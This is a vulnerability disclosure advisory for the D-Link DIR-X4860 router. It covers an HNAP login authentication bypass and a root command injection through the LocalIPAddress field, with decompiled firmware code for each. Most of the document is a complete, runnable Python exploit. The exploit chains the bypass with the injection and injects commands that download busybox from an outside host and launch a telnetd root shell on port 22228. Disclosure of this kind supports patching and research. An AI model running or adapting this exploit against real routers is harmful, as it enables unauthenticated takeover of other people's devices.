**Summary**
Security vulnerabilities in DIR-X4860 allow remote unauthenticated attackers that can access the HNAP port to gain elevated privileges and run commands as `root`. By combining an authentication bypass with command execution the device can be completely compromised.
**Credit**
A security researcher working with SSD Secure Disclosure
**Vendor Response**
The vendor has been reached out three times in the past 30 days and have not responded to any of our attempts.
**Affected Versions**
DIR-x4860 running DIRX4860A1\_FWV1.04B03
**Technical Analysis**
_D-Link DIR-X4860 Routers HNAP PrivateLogin Incorrect Implementation of Authentication Algorithm Authentication Bypass_
The specific flaw exists within the handling of `HNAP` login requests. The issue results from the lack of proper implementation of the authentication algorithm. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the router.
_HNAP protocol_
Step 1: Send the login request and wait for the response. The requested packet format is as follows:
```xml
Headers:
"Content-Type": "text/xml; charset=utf-8"
"SOAPAction": "http://purenetworks.com/HNAP1/Login"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>request</Action>
<Username>Admin</Username>
<LoginPassword/>
<Captcha/>
</Login>
</soap:Body>
</soap:Envelope>
```
The response data are as follows:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LoginResponse xmlns="http://purenetworks.com/HNAP1/">
<LoginResult>OK</LoginResult>
<Challenge>........</Challenge>
<Cookie>........</Cookie>
<PublicKey>........</PublicKey>
</LoginResponse>
</soap:Body>
</soap:Envelope>
```
The response packet returns `Challenge`, `Cookie`, `PublicKey`.
The `Cookie` is used as the cookie header for all subsequent HTTP requests.
`Challenge` and `PublicKey` are used to encrypt the password and generate HNAP\_AUTH authentication in the HTTP header.
Step 2: Send the login login and wait for the response. The requested packet format is as follows:
```xml
Headers:
"Content-Type": "text/xml; charset=utf-8"
"SOAPAction": "http://purenetworks.com/HNAP1/Login"
"HNAP_AUTH": "........"
"Cookie": "uid=........"
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>login</Action>
<Username>Admin</Username>
<LoginPassword>........</LoginPassword>
<Captcha/>
</Login>
</soap:Body>
</soap:Envelope>
```
The key values are calculated in the following way:
```
LoginPassword:
PrivateKey = get_hmac_KEY_md5(PublicKey + password,Challenge)
LoginPassword = get_hmac_KEY_md5(PrivateKey,Challenge)
uid :
uid = Cookie
HNAP_AUTH:
SOAP_NAMESPACE2 = "http://purenetworks.com/HNAP1/"
Action = "Login"
SOAPAction = '"' + SOAP_NAMESPACE2 + Action + '"'
Time = int(round(time.time() * 1000))
Time = math.floor(Time) % 2000000000000
HNAP_AUTH = get_hmac_KEY_md5(PrivateKey,Time + SOAPAction)
```
The response data are as follows:
```
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<LoginResponse xmlns="http://purenetworks.com/HNAP1/">
<LoginResult>success</LoginResult>
</LoginResponse>
</soap:Body>
</soap:Envelope>
```
If the value of `LoginResult` is success, the authentication succeeds. If `LoginResult` is failed, authentication fails.
The vulnerability is in the `/bin/prog.cgi` file. The vulnerability occurs in the function that handles the login request.
```
int __fastcall sub_5394C(int a1, int a2, int a3, int a4)
{
int v5; // r1
char *v6; // r0
const char *v7; // r5
const char *v8; // r5
int v10; // r0
int v11; // r1
int v12; // r2
int v13; // r3
sub_53074(a1, a2, a3, a4);
if ( sub_51038(a1) )
{
v6 = GetHNAPParam(a1, "/Login/Action");
v7 = v6;
if ( v6 )
{
if ( !strncmp(v6, "request", 7u) )
{
handle_login_request(a1); // into here !!!
return 1;
}
******
}
int __fastcall handle_login_request(int a1)
{
char *Username; // r11
int v3; // r5
int result; // r0
const char *PrivateLogin; // [sp+Ch] [bp-84h]
char s[64]; // [sp+10h] [bp-80h] BYREF
char v7[64]; // [sp+50h] [bp-40h] BYREF
char v8[64]; // [sp+90h] [bp+0h] BYREF
char http_password[64]; // [sp+D0h] [bp+40h] BYREF
char v10[128]; // [sp+110h] [bp+80h] BYREF
memset(s, 0, sizeof(s));
memset(v7, 0, sizeof(v7));
memset(v8, 0, sizeof(v8));
memset(http_password, 0, sizeof(http_password));
memset(v10, 0, sizeof(v10));
if ( sub_51FE4(a1) )
{
sub_5322C(a1, 5);
result = 0;
}
else
{
GetHNAPParam(a1, "/Login/Action");
Username = GetHNAPParam(a1, "/Login/Username");
GetHNAPParam(a1, "/Login/LoginPassword");
GetHNAPParam(a1, "/Login/Captcha");
PrivateLogin = GetHNAPParam(a1, "/Login/PrivateLogin");
sub_50F98(s, 20);
sub_50F98(v7, 10);
sub_50F98(v8, 20);
if ( PrivateLogin && !strncmp(PrivateLogin, "Username", 8u) )
strncpy(http_password, Username, 0x40u); // Authentication Bypass!!
else
get_http_password(http_password, 0x40u);
sub_51284(s, http_password, v8, v10, 128);
v3 = sub_51468(a1, v10, s, v7, v8);
sub_51094(a1, v7);
sub_5322C(a1, 0);
result = v3;
}
return result;
}
```
The normal logic in the `handle_login_request` function is to get the `http_password` and then generate the `PrivateKey` from the `http_password`.
However, when the `PrivateLogin` parameter is included in the request, and the value of the `PrivateLogin` parameter is “`Username`“, then the PrivateKey is generated from the value of the Username parameter.
The Username parameter has a known value of “`Admin`“.
This means that when you perform a login login request, you can use “`Admin`” as the password to calculate the relevant data without knowing the real password:
```
LoginPassword:
password = ”Admin"
PrivateKey = get_hmac_KEY_md5(PublicKey + password,Challenge)
LoginPassword = get_hmac_KEY_md5(PrivateKey,Challenge)
uid :
uid = Cookie
HNAP_AUTH:
SOAP_NAMESPACE2 = "http://purenetworks.com/HNAP1/"
Action = "Login"
SOAPAction = '"' + SOAP_NAMESPACE2 + Action + '"'
Time = int(round(time.time() * 1000))
Time = math.floor(Time) % 2000000000000
HNAP_AUTH = get_hmac_KEY_md5(PrivateKey,Time + SOAPAction)
```
This bypasses login authentication.
_D-Link DIR-X4860 SetVirtualServerSettings LocalIPAddress Command Injection Remote Code Execution_
The specific flaw exists within `prog.cgi`, which handles HNAP requests made to the lighttpd webserver listening on TCP ports 80 and 443. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root.
The vulnerability is in the `/bin/prog.cgi` file. The vulnerability occurs in the function that handles the `SetVirtualServerSettings`.
```
void __fastcall SetVirtualServerSettings(int a1)
{
******
log_log(7, "SetVirtualServerSettings", 599, "pProtocolNumber=%s\n", v19);
snprintf(v20, 0x100u, "/SetVirtualServerSettings/VirtualServerList/VirtualServerInfo:%d/%s", v3, "LocalIPAddress");
LocalIPAddress_v16 = GetHNAPParam(a1, v20);
if ( !LocalIPAddress_v16 )
{
v5 = 604;
goto LABEL_9;
}
log_log(7, "SetVirtualServerSettings", 606, "pLocalIPAddress=%s\n", LocalIPAddress_v16);
snprintf(v20, 0x100u, "/SetVirtualServerSettings/VirtualServerList/VirtualServerInfo:%d/%s", v3, "ScheduleName");
v8 = GetHNAPParam(a1, v20);
if ( !v8 )
{
v5 = 611;
goto LABEL_9;
}
if ( !strcmp(s1, "true")
&& !strcmp(v13, "9")
&& !strcmp(v7, "UDP")
&& FCGI_popen_v1(LocalIPAddress_v16, v13, v7, s, ++v14) == -1 ) // into here !!!
{
v5 = 620;
goto LABEL_9;
}
******
}
int __fastcall FCGI_popen_v1(const char *LocalIPAddress, int a2, int a3, char *a4, int a5)
{
int v7; // r0
int v8; // r6
char v10[20]; // [sp+Ch] [bp-14h] BYREF
char v11[64]; // [sp+20h] [bp+0h] BYREF
char v12[68]; // [sp+60h] [bp+40h] BYREF
memset(v11, 0, sizeof(v11));
memset(v10, 0, 0x12u);
memset(v12, 0, 0x40u);
snprintf(v12, 0x40u, "arp | grep %s | awk '{printf $4}'", LocalIPAddress);
v7 = FCGI_popen(v12, "r"); // rce !!!
******
}
```
The `LocalIPAddress` parameter is controlled by the attacker, and then a call to the FCGI\_popen function can cause command injection.
**Proof of Concept**
```python
#!/usr/bin/env python
import hmac
import base64
import hashlib
from hashlib import sha256
import time
import math
import logging
import sys
import requests
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
# You must initialize logging, otherwise you'll not see debug output.
logging.basicConfig()
logging.getLogger().setLevel(logging.DEBUG)
requests_log = logging.getLogger("requests.packages.urllib3")
requests_log.propagate = True
def get_sha256(value):
""" get_sha256 """
hsobj = hashlib.sha256()
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest().upper()
def get_key_hashlib_sha256(key, value):
"""get_key_hashlib_sha256"""
hsobj = hashlib.sha256(key.encode("utf-8"))
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest().upper()
def get_hmac_hashlib_sha256(value):
"""get_hmac_hashlib_sha256"""
message = value.encode("utf-8")
return hmac.new(message, digestmod=hashlib.sha256).hexdigest().upper()
def get_hmac_key_hashlib_sha256(key, value):
"""get_hmac_key_hashlib_sha256"""
message = value.encode("utf-8")
return (
hmac.new(key.encode("utf-8"), message, digestmod=hashlib.sha256)
.hexdigest()
.upper()
)
def get_base64_hmac_sha256(key, value):
"""get_base64_hmac_sha256"""
key = key.encode("utf-8")
message = value.encode("utf-8")
sign = base64.b64encode(hmac.new(key, message, digestmod=sha256).digest())
base64sha256 = str(sign, "utf-8")
return base64sha256
def get_md5(value):
"""get_md5"""
hsobj = hashlib.md5()
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest().upper()
def get_key_md5(key, value):
"""get_key_md5"""
hsobj = hashlib.md5(key.encode("utf-8"))
hsobj.update(value.encode("utf-8"))
return hsobj.hexdigest().upper()
def get_hmac_key_md5(key, value):
"""get_hmac_key_md5"""
message = value.encode("utf-8")
return (
hmac.new(key.encode("utf-8"), message, digestmod=hashlib.md5)
.hexdigest()
.upper()
)
def get_hmac_md5(value):
"""get_hmac_md5"""
message = value.encode("utf-8")
return hmac.new(message, digestmod=hashlib.md5).hexdigest().upper()
def send_http(ip, port, https, headers, data):
"""send_http"""
if https is True:
https = "s"
else:
https = ""
res = requests.post(
url=f"http{https}://{ip}:{port}/HNAP1/",
data=data,
headers=headers,
timeout=1,
verify=False,
)
res_text = res.text
print(f"res_text\n===\n{res.text}\n===\n")
challenge = ""
if "<Challenge>" in res_text:
usb_adv_cgi_id = res_text.split("<Challenge>")
id_value = usb_adv_cgi_id[1].split("</Challenge>")
challenge = id_value[0]
print(f"[+] Challenge = {challenge}")
cookie = ""
if "<Cookie>" in res_text:
usb_adv_cgi_id = res_text.split("<Cookie>")
id_value = usb_adv_cgi_id[1].split("</Cookie>")
cookie = id_value[0]
print(f"[+] Cookie = {cookie}")
public_key = ""
if "<PublicKey>" in res_text:
usb_adv_cgi_id = res_text.split("<PublicKey>")
id_value = usb_adv_cgi_id[1].split("</PublicKey>")
public_key = id_value[0]
print(f"[+] PublicKey = {public_key}")
if "<LoginResult>" in res_text:
usb_adv_cgi_id = res_text.split("<LoginResult>")
id_value = usb_adv_cgi_id[1].split("</LoginResult>")
login_result = id_value[0]
print(f"[+] LoginResult = {login_result}")
return challenge, cookie, public_key, res_text
def login_request(ip, port, https):
"""login_result"""
xml_post = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>request</Action>
<Username>Admin</Username>
<PrivateLogin>Username</PrivateLogin>
<login_password></login_password>
<Captcha></Captcha>
</Login>
</soap:Body>
</soap:Envelope>"""
headers = {
"Host": ip,
"X-Requested-With": "XMLHttpRequest",
"SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
"Content-Type": "text/xml; charset=UTF-8",
}
challenge, cookie, public_key, _ = send_http(ip, port, https, headers, xml_post)
if challenge == b"":
print("[-] get Challenge error")
sys.exit(0)
return challenge, cookie, public_key
def login_login(ip, port, https, login_password, hnap_auth, time_now, cookie):
"""login_login"""
xml_post = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://purenetworks.com/HNAP1/">
<Action>login</Action>
<Username>Admin</Username>
<LoginPassword>{login_password}</LoginPassword>
<Captcha></Captcha>
</Login>
</soap:Body>
</soap:Envelope>"""
headers = {
"Host": ip,
"X-Requested-With": "XMLHttpRequest",
"HNAP_AUTH": f"{hnap_auth} {time_now}",
"SOAPAction": '"http://purenetworks.com/HNAP1/Login"',
"Content-Type": "text/xml; charset=UTF-8",
"Cookie": f"uid={cookie}",
}
send_http(ip, port, https, headers, xml_post)
def get_internet_conn_up_time(ip, port, https, hnap_auth, time_now, cookie):
"""get_internet_conn_up_time"""
xml_post = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetInternetConnUpTime xmlns="http://purenetworks.com/HNAP1/" />
</soap:Body>
</soap:Envelope>"""
headers = {
"Host": ip,
"X-Requested-With": "XMLHttpRequest",
"HNAP_AUTH": f"{hnap_auth} {time_now}",
"SOAPAction": '"http://purenetworks.com/HNAP1/GetInternetConnUpTime"',
"Content-Type": "text/xml; charset=UTF-8",
"Cookie": f"uid={cookie}",
}
_, _, _, res_text = send_http(ip, port, https, headers, xml_post)
return res_text
def set_virtual_server_settings(ip, port, https, hnap_auth, time_now, cookie, cmd):
"""set_virtual_server_settings"""
xml_post = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<SetVirtualServerSettings xmlns="http://purenetworks.com/HNAP1/">
<VirtualServerList>
<VirtualServerInfo>
<Enabled>true</Enabled>
<VirtualServerDescription>false</VirtualServerDescription>
<ExternalPort>false</ExternalPort>
<InternalPort>9</InternalPort>
<ProtocolType>UDP</ProtocolType>
<ProtocolNumber>UDP</ProtocolNumber>
<LocalIPAddress>{cmd}</LocalIPAddress>
<ScheduleName>false</ScheduleName>
</VirtualServerInfo>
<VirtualServerInfo:0>
<Enabled>true</Enabled>
<VirtualServerDescription>false</VirtualServerDescription>
<ExternalPort>false</ExternalPort>
<InternalPort>9</InternalPort>
<ProtocolType>UDP</ProtocolType>
<ProtocolNumber>UDP</ProtocolNumber>
<LocalIPAddress>{cmd}</LocalIPAddress>
<ScheduleName>false</ScheduleName>
</VirtualServerInfo:0>
<VirtualServerInfo:1>
<Enabled>true</Enabled>
<VirtualServerDescription>false</VirtualServerDescription>
<ExternalPort>false</ExternalPort>
<InternalPort>9</InternalPort>
<ProtocolType>UDP</ProtocolType>
<ProtocolNumber>UDP</ProtocolNumber>
<LocalIPAddress>{cmd}</LocalIPAddress>
<ScheduleName>false</ScheduleName>
</VirtualServerInfo:1>
</VirtualServerList>
</SetVirtualServerSettings>
</soap:Body>
</soap:Envelope>"""
headers = {
"Host": ip,
"X-Requested-With": "XMLHttpRequest",
"HNAP_AUTH": f"{hnap_auth} {time_now}",
"SOAPAction": '"http://purenetworks.com/HNAP1/SetVirtualServerSettings"',
"Content-Type": "text/xml; charset=UTF-8",
"Cookie": f"uid={cookie}",
}
send_http(ip, port, https, headers, xml_post)
def exploit():
""" Exploit """
target_ip = "192.168.4.1"
target_port = 443
target_https = True
print("Login_request")
challenge, cookie, public_key = login_request(target_ip, target_port, target_https)
# print(f"{Challenge=}, {Cookie=}, {PublicKey=}")
dummy_password = "Admin"
private_key = get_hmac_key_md5(public_key + dummy_password, challenge)
login_password = get_hmac_key_md5(private_key, challenge)
print(f"[+] login_password : {login_password}")
soap_namespace2 = "http://purenetworks.com/HNAP1/"
action = "Login"
soap_action = f'"{soap_namespace2}{action}"'
print(f"[+] SOAPAction : {soap_action}")
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
print(f"[+] Time : {time_now}")
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print(f"[+] HNAP_AUTH : {hnap_auth}")
login_login(
target_ip, target_port, target_https, login_password, hnap_auth, time_now, cookie
)
soap_namespace2 = "http://purenetworks.com/HNAP1/"
action = "GetInternetConnUpTime"
soap_action = f'"{soap_namespace2}{action}"'
print(f"[+] SOAPAction : {soap_action}")
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
print(f"[+] Time : {time_now}")
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print(f"[+] HNAP_AUTH : {hnap_auth}")
print("Checking for the vulnerability")
res_text = get_internet_conn_up_time(
target_ip, target_port, target_https, hnap_auth, time_now, cookie
)
if "You need proper authorization to use this resource" in res_text:
print("Target doesn't appear to be vulnerable")
print("Running the RCE")
action = "SetVirtualServerSettings"
soap_action = f'"{soap_namespace2}{action}"'
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print(
"Downloading busybox from 'http://192.168.0.100:8000/busybox' as "
"the one on the device isn't good"
)
cmd = "1;wget http://192.168.0.100:8000/busybox -O /tmp/tel;AAAAAAAAAAA"
set_virtual_server_settings(
target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
)
action = "SetVirtualServerSettings"
soap_action = f'"{soap_namespace2}{action}"'
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print("Renaming busybox to /tmp/telnetd")
cmd = "1;chmod +x /tmp/tel;mv /tmp/tel /tmp/telnetd;AAAAAAAAAAAAAAAAAAAA"
set_virtual_server_settings(
target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
)
action = "SetVirtualServerSettings"
soap_action = f'"{soap_namespace2}{action}"'
time_now = int(round(time.time() * 1000))
time_now = math.floor(time_now) % 2000000000000
time_now = "%d" % time_now
hnap_auth = get_hmac_key_md5(private_key, time_now + soap_action)
print("Launching telnetd on port 22228")
cmd = b"1;/tmp/telnetd -p 22228 -l sh;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
set_virtual_server_settings(
target_ip, target_port, target_https, hnap_auth, time_now, cookie, cmd
)
if __name__ == "__main__":
exploit()
```
暂无评论